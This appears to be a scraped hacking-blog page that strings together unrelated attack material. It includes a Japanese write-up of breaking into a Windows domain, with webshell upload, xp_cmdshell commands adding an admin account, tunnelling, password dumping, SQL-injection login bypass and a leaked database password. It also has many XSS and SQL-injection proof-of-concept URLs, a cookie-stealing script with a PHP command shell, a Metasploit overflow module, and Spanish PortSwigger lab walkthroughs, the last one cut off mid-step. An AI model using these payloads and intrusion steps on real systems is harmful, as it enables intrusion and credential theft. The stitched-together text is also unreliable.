Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863114869

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00実験目的

ドメイン環境で他のホストのウェブサイトソースコードを取得する

0x01浸透アイデア

ウェブサイトシェルを取得することにより、イントラネットはイントラネットに侵入し、イントラネットはドメイン制御権限を取得し、ドメイン制御は他のドメインに侵入してリソースを取得します。

0x02実験プロセス

ターゲットWebサイトIPにアクセスし、静的なWebサイトであることがわかりました。ウェブサイトのフロントデスクは使用できないことがわかりました。ウェブサイトのバックエンドを爆発させてみてください

1049983-20220124163402950-1967122822.jpg

Yujianを使用して背景をスキャンすると、バックグラウンドログインインターフェイスは見つかりませんでしたが、robots.txtファイルが見つかりました。 robots.txtをチェックして、内部にWebサイトのバックグラウンドディレクトリがあることを確認します。

1049983-20220124163403382-1552410908.jpg

Webサイトのバックエンドページにアクセスしてください

1049983-20220124163403756-1339755790.jpg

Burp Brute Force Crackingを使用して、Webサイトのバックエンド管理者アカウントのパスワードが正常に爆破されていることを確認してください。

1049983-20220124163404210-506006033.jpg

爆破された管理者アカウントのパスワードを使用して、Webサイトバックエンドに正常にログインします(PS:ログイン時にフル機能ログインを選択)

1049983-20220124163404669-1982582599.jpg

テンプレートフォルダー名は、インターフェイススタイルのテンプレート選択で変更できることがわかりました。テンプレートフォルダー名を1.ASPに変更し、IISの解析脆弱性を使用しようとしました。

1049983-20220124163405071-1899546659.jpg

次に、インターフェイススタイルの編集テンプレート/CSSファイルでASPX文トロジャンをHTMLファイルに追加して、テンプレートを追加します

1049983-20220124163405394-1528669503.jpg

包丁を使用して、私たちが書いたトロイの木馬に正常に接続する

1049983-20220124163405782-2127696447.jpg

文のトロイの木馬を使用してASPX馬をアップロードして操作を容易にします

1049983-20220124163406232-1999358840.jpg

ホストがデュアルネットワークカードであることを確認して、2つのイントラネットIPセグメントを取得します。

1049983-20220124163406624-147209614.png

ホストのキャッシュ情報を確認して、いくつかのイントラネットIPを見つける

1049983-20220124163407040-37093832.jpg

192.168.152.173がポート1433を有効にしていることを確認して見つけると、データサーバーである可能性があると推測します

1049983-20220124163407519-1048786080.jpg

Webサイトの構成ファイルを確認し、データベースアカウントのパスワードを発見します

1049983-20220124163408026-743453725.png

ASPXマレーシアを使用してデータベースに正常にログインし、システムの許可であることがわかりました

1049983-20220124163408481-1964824544.jpg

ドメイン内のすべてのユーザー名を表示します

1049983-20220124163408919-1191946540.jpg

ドメイングループ名をクエリします

1049983-20220124163409381-182094805.jpg

現在のドメイン内のコンピューターのリストを表示します

1049983-20220124163409768-603325688.png

クエリドメイン管理者

1049983-20220124163410230-765980537.png

データベースシェルを使用してアカウントを追加し、管理者グループに追加します

1049983-20220124163410647-1330282431.png

また、192.168.152.173がポート3389を開設したこともわかった

1049983-20220124163411066-64845405.jpg

Regeorg+proxifierを使用してプロキシを設定してリモートログインを試してください

1049983-20220124163411528-716826967.png

以前に追加した管理者アカウントパスワードを使用して、リモートデスクトップに正常にログインします。ログインするときは、オプションを構成し、ローカルツールフォルダーをターゲットマシンにマウントします。

1049983-20220124163412048-368456439.jpg

リモートデスクトップに正常にログインします

1049983-20220124163412553-501831887.png

ファイル共有を使用してquarkspwdump.exeをアップロードし、quarkspwdump.exeを使用してシステム管理者のパスワードをつかみ、それをtxtファイルにエクスポートします

1049983-20220124163413020-897540126.png

MD5を使用して、解決できないことがわかりました

1049983-20220124163413461-1843470132.png

ドメイン内のホストには、特定の命名ルールがあることがわかっています。シェルを取得するWebサイトを確認すると、Webサイトのルートディレクトリにはgame.fbi.gov.usという名前が付いていることがわかります。手動テストを通じて、ドメイン名oa.fbi.gov.usのウェブサイトがあります。

1049983-20220124163413811-1185841690.jpg

oa.fbi.gov.usドメイン名ディスカバリーはソースコードライブラリログ管理システムです

1049983-20220124163414230-697715797.jpg

ASPユニバーサルパスワードを使用して、ログインをバイパスしてみてください。アカウント:liufeng 'または' 1 '=’ 1パスワードは任意であり、バックグラウンドに正常にログインします

1049983-20220124163414697-178476293.jpg

ストレージXSSは追加ログにあります

1049983-20220124163415176-2083639666.jpg

追加したログをクリックしてプロパティを確認し、追加されたログのURLを見つけます

1049983-20220124163415681-1128422050.png

得られたURLに注入があるかどうかをテストし、500の誤差があることがわかります。

1049983-20220124163416115-1429454342.png

Dインジェクションツールを使用して、Webサイトバックエンドにログインします

1049983-20220124163416574-1446420790.jpg

次に、URLを挿入しようとし、管理者のパスワードが正常に噴射されていることがわかりました。ユーザー名は何らかの理由で出てきませんでしたが、問題は大きくありませんでした。上記のいくつかのユーザー名はすでに多くないので、1つずつ試すことができます。

1049983-20220124163417085-66586380.png

前にアクセスしたユーザー名とパスワードを使用して、ドメイン内の他のホストにログインしようとします

1049983-20220124163417519-892340131.png

他のホストに正常にログインしてから、ドメイン内の他のPCからファイルを表示およびダウンロードできます

1049983-20220124163417948-183238433.png 1049983-20220124163418365-119348494.png

0x03要約

1。ターゲットWebサイトIPへのアクセスは静的なWebサイトです。ウェブサイトのフロントデスクは使用できないことがわかります。 Yujianディレクトリスキャンツールを介してディレクトリをスキャンします。 robots.txtが存在することがわかります。 robots.txtが存在することがわかります。 Webサイトのバックエンドページがあることがわかります。バックグラウンドに検証コードがありますが、検証コードには長い時間があります。それはBPで爆破することができ、ユーザー名とパスワードは正常に破壊されます。 admin/passw0rd3333333399.106.226.95:9235/admin3です。 NAMPを使用してターゲットWebサイトIPをスキャンし、システムがWindows IIS6.0であり、ポート80が有効であることを確認します。 14.テンプレートフォルダー名は、インターフェイススタイルのテンプレート選択で変更できることがわかり、テンプレート名は1.ASP15に変更できます。次に、テンプレート名1.HTMLをインターフェイススタイル編集テンプレート/CSSファイルに追加してテンプレートを追加すると、コンテンツはASP%EAVLリクエスト(「パス」)%16の文です。包丁を介して文を正常に接続し、抑えナイフにASPXをアップロードしてすぐに行きます。

17。ASPXマレーシアのコマンド実行を介して、ネットワークカードのIPアドレスを確認し、2つのネットワークカード、1つのネットワークカードIPアドレス192.168.152.182があり、もう1つのネットワークカードは192.168.79.128CMDPath3:C: \ Windowsホストのキャッシュ情報を確認して、いくつかのイントラネットIPS(192.168.152.182、192.168.152.173、192.168.152.180)CMDPath:C: \ Windows \ System32 \マレーシアでは、1433年と3389ポート20が有効になっていることがわかりました。 Webサイトの構成ファイルを表示し、データベースアカウントのパスワード21.ASPXマレーシアのデータベース関数を使用して、データベースに正常にログインし、システムの許可があることがわかりました。 connstring:Server=192.168.152.173; uid=sa; pwd=piy88pro*jnj24e3; database=master; probider=sqloledbsec: xp_cmdshell_execrun sql3:exec mastr 'Whoami'22。ドメインsqlexec: xp_cmdshell_execrun sql:exec master.dbo、xp_cmdshell 'dequery users '23のすべてのユーザー名をクエリします。ドメイングループ名sqlexec: xp_cmdshell_execrun sql:exec master.dbo、xp_cmdshell 'netグループ /ドメイン'24。現在のドメインのコンピューターのリストを確認し、Webサーバー、ファイルサーバー、DBサーバーなどのホスト名があることを確認します。SQLEXEC:XP_CMDSHELL_EXECRUNSQL3:EXEC MASTEC MASTEC、XP_CMDSHELL 'Net View'25。ドメイン管理者、管理者ユーザーのsqlexec3360 xp_cmdshell_execrun sql3:exec master.dbo、xp_cmdshell 'netグループ'ドメイン管理者' /domain'26をクエリします。データベースシェルを使用してアカウントを追加し、管理者グループExec Master.dbo、XP_CMDSHELL 'ネットユーザーDDDパスワード#111 /ADD'EXEC MASTER.DBO、XP_CMDSHELL'ネットローカルグループ管理者DDD /ADD'13に追加します。 regeorgsocksproxyのASPXスクリプトファイルをASPX(39.106.226.95)を介してターゲットシステムにアップロードし、リンクhttp://39.106.226.95:9235/tunnel.aspx14にアクセスします。構成後、Regeoryはローカルチャネルとターゲットチャネルを開き、Python Regeorgsocksproxy.py -P 8888 -L 0.0.0.0 -U http://39.106.226.95:9235/tunnel.aspxを実行するために使用されます。

15. ProxifierにSocks4プロキシを設定し、プロキシSocks4 127.0.0.1 888816を追加します。リモートでロギングするときにオプションを構成し、ローカルツールフォルダーをターゲットマシンにマウントする

17. quarkspwdump.exeをファイル共有を使用してアップロードし、quarkspwdump.exeを使用してシステム管理者のパスワードをつかみ、TXTファイルにエクスポートします。 MD5をアンラップできないことがわかりました18。ウェブサイトのルートディレクトリには別のディレクトリがあります。これはoa.fbi.gov.usです。次に、このディレクトリコマンドにWebサイトドメイン名として直接アクセスし、ソースコードライブラリログ管理システムであることがわかります。 19。ASPユニバーサルパスワードを使用して、ログインをバイパスしてみてください。アカウント:admin ’または' 1 '=’ 1パスワードは任意であり、バックグラウンドにログインしてください20。ストレージタイプXSS21を見つけます。追加されたログをクリックして、属性を確認します。 URL http://oa.fbi.gov.us/logive.asp?id=39422を見つけます。 AH DインジェクションツールまたはSQLMAPツールを使用して、ユーザー名とパスワードを正常に噴射します23。正常に挿入されたユーザー名とパスワードを使用して、デスクトップに正常にログインします。

元のリンク:https://Blog.csdn.net/weixin_44991517/article/details/93896401

source: https://www.securityfocus.com/bid/47580/info

PHPList is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPList 2.10.13 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main"
enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value=&#039;email2@example.com"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
            
source: https://www.securityfocus.com/bid/47582/info

PHP F1 Max's Photo Album is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/showimage.php?id=[XSS] 
            

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via extension blacklist bypass”.

image 64

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para que no acepte ciertas extensiones.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 65
image 66

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 67

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 68

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 69
image 70

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 71
image 72
image 73

Aquí Burp Suite interceptará la petición de subida del archivo:

image 74

Para tratar mejor con la petición y poder analizar de mejor manera la respuesta del servidor, vamos a pasar la petición al repeater con Ctrl R.

Una vez pasado, le damos a “Send” para ver la respuesta del servidor a la petición por defecto:

image 75

Nos dice que los archivos PHP no están permitidos. Por lo que la idea va a ser probar alternativas a la extensión de PHP para ver si no están definidas en la blacklist. En wikipedia podemos ver los tipos de extensiones asociadas a PHP:

image 76

Dicho esto, pasamos la petición del repeater al intruder pulsando Ctrl I. Una vez tengamos la petición en el intruder, le daremos al botón de clear para quitar los lugares de sustitución que se ponen por defecto:

image 77

Como lo que nos interesa es lanzar varias peticiones y que la diferencia entre cada una solo sea la extensión, declararemos un campo de sustitución en la extensión del nombre del archivo:

image 78

Con esto hecho, nos dirigiremos a la pestaña de “Payloads”:

image 79

Una vez aquí, definiremos nuestro diccionario, es decir, el diccionario que se usará para sustituir la extensión por defecto, por las definidas en el diccionario:

image 80
image 81

Una vez tengamos el diccionario de extensiones a probar hecho, nos dirigiremos a la pestaña de “Options” y a la parte de “Grep – Extract”:

image 82

Una vez aquí, estableceremos el string por el que queremos que filtre en las distintas respuestas, para que cuando no posea el string indicado, podamos detectar la respuesta en la que no lo esté rápidamente:

image 83

Una vez hecho, nos dirigiremos de nuevo a la pestaña de “Payloads” para empezar el ataque:

image 84
image 85

Se nos abrirá una nueva ventana referente al ataque:

image 86

En este caso, como podemos ver, parece que la única extensión que el servidor no permite, es la PHP. Por lo que presuntamente se han subido todas las demás. Vamos a ver la respuesta a la última petición en el navegador, para ello hacemos lo siguiente:

image 87
image 88
image 89
image 90

Una vez tengamos la respuesta, podemos desactivar el burp suite porque no haremos mas uso de él:

image 91

Con esto hecho, volvemos a nuestro perfil:

image 92

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 93

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 94
image 95

Ojo, el archivo parece que existe porque no nos da error 404, sin embargo, no se interpreta del todo ya que no ha leido el archivos que le hemos indicado que lea. No pasa nada, antes de entrar en panico vamos a probar con los demas archivos con otra extensión que hemos subido, por ejemplo, el phtml:

image 96

Este si nos lo interpreta, y de esta forma conseguimos leer el archivo secret.

Habiéndolo leído, ya simplemente entregamos la solución:

image 97
image 98

Y de esta forma, completamos el laboratorio:

image 99
image 100

Aunque lo hayamos solucionado de esta forma, la solución de PortSwigger me parece super chula e importante de comentar:

  1. Nos logueamos y subimos una imagen de nuestro avatar, con esto hecho, volvemos a la página de nuestro perfil.
  2. En el burp suite, nos dirigimos a Proxy > HTTP History. Aquí podremos ver una petición GET a la ruta /files/avatars/<archivo>. Enviamos esta respuesta al repeater.
  3. En nuestro sistema, creamos un archivo que se llame exploit.php que contenta un código que lea el contenido del archivo secret del usuario Carlos. Por ejemplo: <?php echo file_get_contents('/home/carlos/secret'); ?>
  4. Intentamos subir este archivo como nuestro avatar. La respuesta del servidor nos indicará que no se permiten archivos de extensión PHP.
  5. En el HTTP History ahora buscaremos la petición POST en la que hemos intentado subir el archivo php. En la respuesta del servidor a esta petición, nos podremos dar cuenta de que estamos tratando con un servidor apache. Dicho esto, enviamos esta petición al repeater.
  6. En la petición POST que ahora tenemos en el repeater, vamos a hacer los siguientes cambios:
    1. Cambiamos el nombre del archivo a .htaccess.
    2. Cambiamos el valor de Content-Type a text/plain
    3. Reemplazamos el contenido del archivo (el código PHP) por la siguiente directiva de apache: AddType application/x-httpd-php .l33t Esta directiva añadirá una nueva extensión al servidor, además, indicando que el tipo de MIME es application/x-httpd-php, lo que quiere decir que se comportará como un archivo PHP. Como el servidor hace uso de mod_php (módulo de PHP para apache), sabrá y entenderá lo que le estamos diciendo.
  7. Enviamos la petición, y veremos que el servidor nos indicará en la respuesta que el archivo se ha subido correctamente.
  8. Ahora volvemos a la petición original del archivo PHP, y lo único que cambiaremos será el nombre. Cambiaremos exploit.php por por ejemplo, exploit.l33t. Con esto, enviamos la petición y veremos que se ha subido correctamente.
  9. Ahora, volviendo a la petición GET del /files/avatars/<archivo> donde archivo será exploit.l33t, al hacerla, en la respuesta se nos devolverá el secret de Carlos.
  10. Mandamos la solución y laboratorio completado.

source: https://www.securityfocus.com/bid/47593/info

Football Website Manager is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Football Website Manager 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/profile.php?fileId=[SQL Injection] 
            
source: https://www.securityfocus.com/bid/47595/info

Multiple Joostina components are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following components are vulnerable:

'com_frontpage' 1.3.0.4_stable
'com_users'

Other components may also be affected. 

http://www.example.com/[Path]/index.php?option=com_users&task=profile&user=11+AND+1=0
http://www.example.com/[Path]/index.php?option=com_frontpage&Itemid=1&limit=4&limitstart=[SQL-Inj3cT-Here] 
            
source: https://www.securityfocus.com/bid/47599/info

up.time software is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass authentication and perform unauthorized actions.

up.time 5 is vulnerable; other versions may also be affected.

http://www.example.com:9999/index.php?userid=admin
&firstTimeLogin=True
&password=admin
&confirmPassword=admin
&adminEmail=admin () admin
&monitorEmail=admin () admin 
            
Advisory: Multiple SQL Injections and Reflecting XSS in Absolut Engine v.1.73 CMS

Advisory ID: SROEADV-2014-08

Author: Steffen Rösemann

Affected Software: CMS Absolut Engine v. 1.73

Vendor URL: http://www.absolutengine.com/

Vendor Status: solved

CVE-ID: -


 ==========================

Vulnerability Description:

==========================


 The (not actively developed) CMS Absolut Engine v. 1.73 has multiple SQL
injection vulnerabilities and a XSS vulnerability in its administrative
backend.


 ==================

Technical Details:

==================


 The following PHP-Scripts are prone to SQL injections:


 *managersection.php (via sectionID parameter):*



*http://{TARGET}/admin/managersection.php?&username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&sectionID=1*


 *Exploit Example:*



*http://{TARGET}/admin/managersection.php?&username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&sectionID=1%27+and+1=2+union+select+1,version%28%29,3,4,5,6+--+*


 *edituser.php (via userID parameter):*



*http://{TARGET}/admin/edituser.php?username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&userID=3*


 *Exploit Example:*



*http://{TARGET}/admin/edituser.php?username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&userID=3%27+and+1=2+union+select+1,user%28%29,3,version%28%29,5,database%28%29,7,8,9+--+*



 *admin.php (via username parameter, BlindSQLInjection):*



*http://{TARGET}/admin/admin.php?username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7*


 *Exploit Example:*



*http://{TARGET}/admin/admin.php?username=admin%27+and+substring%28user%28%29,1,4%29=%27root%27+--+&session=c8d7ebc95b9b1a72d3b54eb59bea56c7*


 *managerrelated.php (via title parameter):*


 *http://{TARGET}/admin/managerrelated.php?username=user&session=ae29000d8570273c8917e874d029b336&articleID=0&title
<http://localhost/absolut/admin/managerrelated.php?username=user&session=ae29000d8570273c8917e874d029b336&articleID=0&title>={some_title}*


 *Exploit Example:*



*http://{TARGET}/admin/managerrelated.php?username=user&session=ae29000d8570273c8917e874d029b336&articleID=0&title={some_title}%27+and+1=2+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12+--+*


 The last PHP-Script is as well vulnerable to a Reflecting XSS
vulnerability.


 *Exploit Example:*



*http://{TARGET}/admin/managerrelated.php?username=user&session=ae29000d8570273c8917e874d029b336&articleID=0&title=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E*


 Although this is a product which is not actively developed anymore, I
think it is worth mentioning as the idea (of the lists) are to keep
tracking (unknown) vulnerabilities in software products (but that is a
personally point of view).


 Moreover, this product is still in use by some sites (!) and it is offered
without a hint of its status.


 =========

Solution:

=========


 As the CMS is not actively developed, it shouldn't be used anymore.


 ====================

Disclosure Timeline:

====================

29-Dec-2014 – found the vulnerability

29-Dec-2014 - informed the developers

29-Dec-2014 – release date of this security advisory [without technical
details]

30-Dec-2014 – Vendor responded, won't patch vulnerabilities

30-Dec-2014 – release date of this security advisory

30-Dec-2014 – post on FullDisclosure



 ========

Credits:

========


 Vulnerability found and advisory written by Steffen Rösemann.


 ===========

References:

===========


 http://www.absolutengine.com/

http://sroesemann.blogspot.de
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'i-FTP Schedule Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        i-Ftp v2.20, caused by a long time value set for scheduled download.
        By persuading the victim to place a specially-crafted Schedule.xml file
        in the i-FTP folder, a remote attacker could execute arbitrary code on
        the system or cause the application to crash. This module has been
        tested successfully on Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metacom',      # Vulnerability discovery and PoC
          'Gabor Seljan'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '35177' ],
          [ 'OSVDB', '114279' ],
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d\x20\x22",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 600,
              'Ret'    => 0x1001eade  # POP ECX # POP ECX # RET [Lgi.dll]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 06 2014',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
        ],
      self.class)

  end

  def exploit

    evil =  rand_text_alpha(target['Offset'])
    evil << generate_seh_payload(target.ret)
    evil << rand_text_alpha(20000)

    xml = Document.new
    xml << XMLDecl.new('1.0', 'UTF-8')
    xml.add_element('Schedule', {})
    xml.elements[1].add_element(
      'Event',
      {
        'Url' => '',
        'Time' => 'EVIL',
        'Folder' => ''
      })

    sploit = ''
    xml.write(sploit, 2)
    sploit = sploit.gsub(/EVIL/, evil)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)

  end
end
            
source: https://www.securityfocus.com/bid/47620/info

The Daily Maui Photo Widget plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Daily Maui Photo Widget plugin 0.2 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/daily-maui-photo-widget/wp-dailymaui-widget-control.php?title=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
            
source: https://www.securityfocus.com/bid/47607/info

Cisco Unified Communications Manager is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an authenticated attacker to compromise the affected device, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||0/1%20OR%201=1))%20--
http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||1/0%20OR%201=1))%20-- 
            
source: https://www.securityfocus.com/bid/47622/info

The WP Photo Album plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Photo Album 1.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=wp-photo-album/wppa.php&tab=del&id=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
            
source: https://www.securityfocus.com/bid/47626/info

Kusaba X is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Kusaba X 0.9.2 are vulnerable. 

http://www.example.com/kusabax/animation.php?board=b&id=1"><script>alert(&#039;XSS&#039;)</script><"
            
source: https://www.securityfocus.com/bid/47628/info

BackupPC is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.cgi?action=browse&amp;amp;host=localhost&amp;amp;num=99999%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E
http://www.example.com/index.cgi?action=RestoreFile&amp;amp;host=localhost&amp;amp;num=1&amp;amp;share=%3Cscript%3Ealert%28234%29%3C/script%3E&amp;amp;dir=
            
source: https://www.securityfocus.com/bid/47629/info

eyeOS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input passed through image content before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to eyeOS 1.9.0.3 are vulnerable. 

<!doctype html>
<script>
var http = new XMLHttpRequest()
var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;
http.open("GET", url, true);
http.send("");
</script>

<?php
$usercookies = fopen("usercookies", "a");
fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n");
?>

<?php
system($_GET['cmd']);
?>
            
source: https://www.securityfocus.com/bid/47634/info

phpGraphy is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpGraphy 0.9.13b is vulnerable; other versions may also be affected. 

http://www.example.com/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
            
 _____       _____  ______
|  _  |     |  _  ||___  /
| |/' |_  __| |_| |   / / 
|  /| \ \/ /\____ |  / /  
\ |_/ />  < .___/ /./ /   
 \___//_/\_\\____/ \_/    
                        by bl4ck s3c


# Exploit Title: e107 v2 Bootstrap CMS XSS Vulnerability
# Date: 03-01-2014
# Google Dork : Proudly powered by e107 
# Exploit Author: Ahmet Agar / 0x97
# Version: 2.0.0
# Vendor Homepage: http://e107.org/
# Tested on: OWASP Mantra & Iceweasel
 
# Vulnerability Description:

CMS user details section is vulnerable to XSS. You can run XSS payloads.

XSS Vulnerability #1:

Go Update user settings page

"http://{target-url}/usersettings.php"

Set Real Name value;

"><script>alert(String.fromCharCode(88, 83, 83))</script>

or

"><script>alert(document.cookie)</script>


========
Credits:
========
 
Vulnerability found and advisory written by Ahmet Agar.
 
===========
References:
===========
 
http://www.0x97.info
htts://twitter.com/_HacKingZ_
            
source: https://www.securityfocus.com/bid/47636/info

ClanSphere is prone to a local file-include vulnerability and multiple arbitrary-file-upload vulnerabilities.

An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.

ClanSphere 2011.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/mods/ckeditor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=[LFI]%00
http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/test.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/uploadtest.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/browser.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/frmupload.html 
            

En este post vamos a estar resolviendo el laboratorio de PortSwigger: «Web shell upload via path traversal».

image 237

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para prevenir la ejecución de archivos suministrados por el usuario, por lo que tendremos que bypasear esta defensa.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 238
image 239

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 240

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 241

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 242
image 243

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 244
image 245
image 246

Aquí Burp Suite interceptará la petición de subida del archivo:

image 247

Teniendo esta petición, vamos a irnos a la pestaña del «Decoder» de Burp Suite y vamos a URL encodear lo siguiente:

image 248

URL encodeamos esto porque es el nombre que le vamos a poner al archivo que estamos subiendo, le cambiaremos el nombre en la propia petición. Se encodea para que los símbolos del punto y el slash, no sean eliminados o malinterpretados por el servidor.

Subiendo un archivo con este nombre, dependiendo de como lo trate el servidor, puede que consigamos que se almacene un directorio atrás del que debería, y, de esta forma, bypasear la restricción que nos indica que el servidor no ejecutará archivos suministrados por el usuario. Esta técnica de usar punto y slash, se llama Path Traversal.

Dicho esto, pasamos la petición al repeater con Ctrl R, le cambiamos el nombre y enviamos la petición:

image 249

Según la respuesta, el archivo se ha subido exitosamente y además con el nombre de ../readSecret.php. Vamos a ver esta respuesta en el navegador. Para ello, hacemos click derecho en la respuesta, clickamos en la opción de «Show response in browser» y copiamos el link que se nos genera:

image 250
image 251

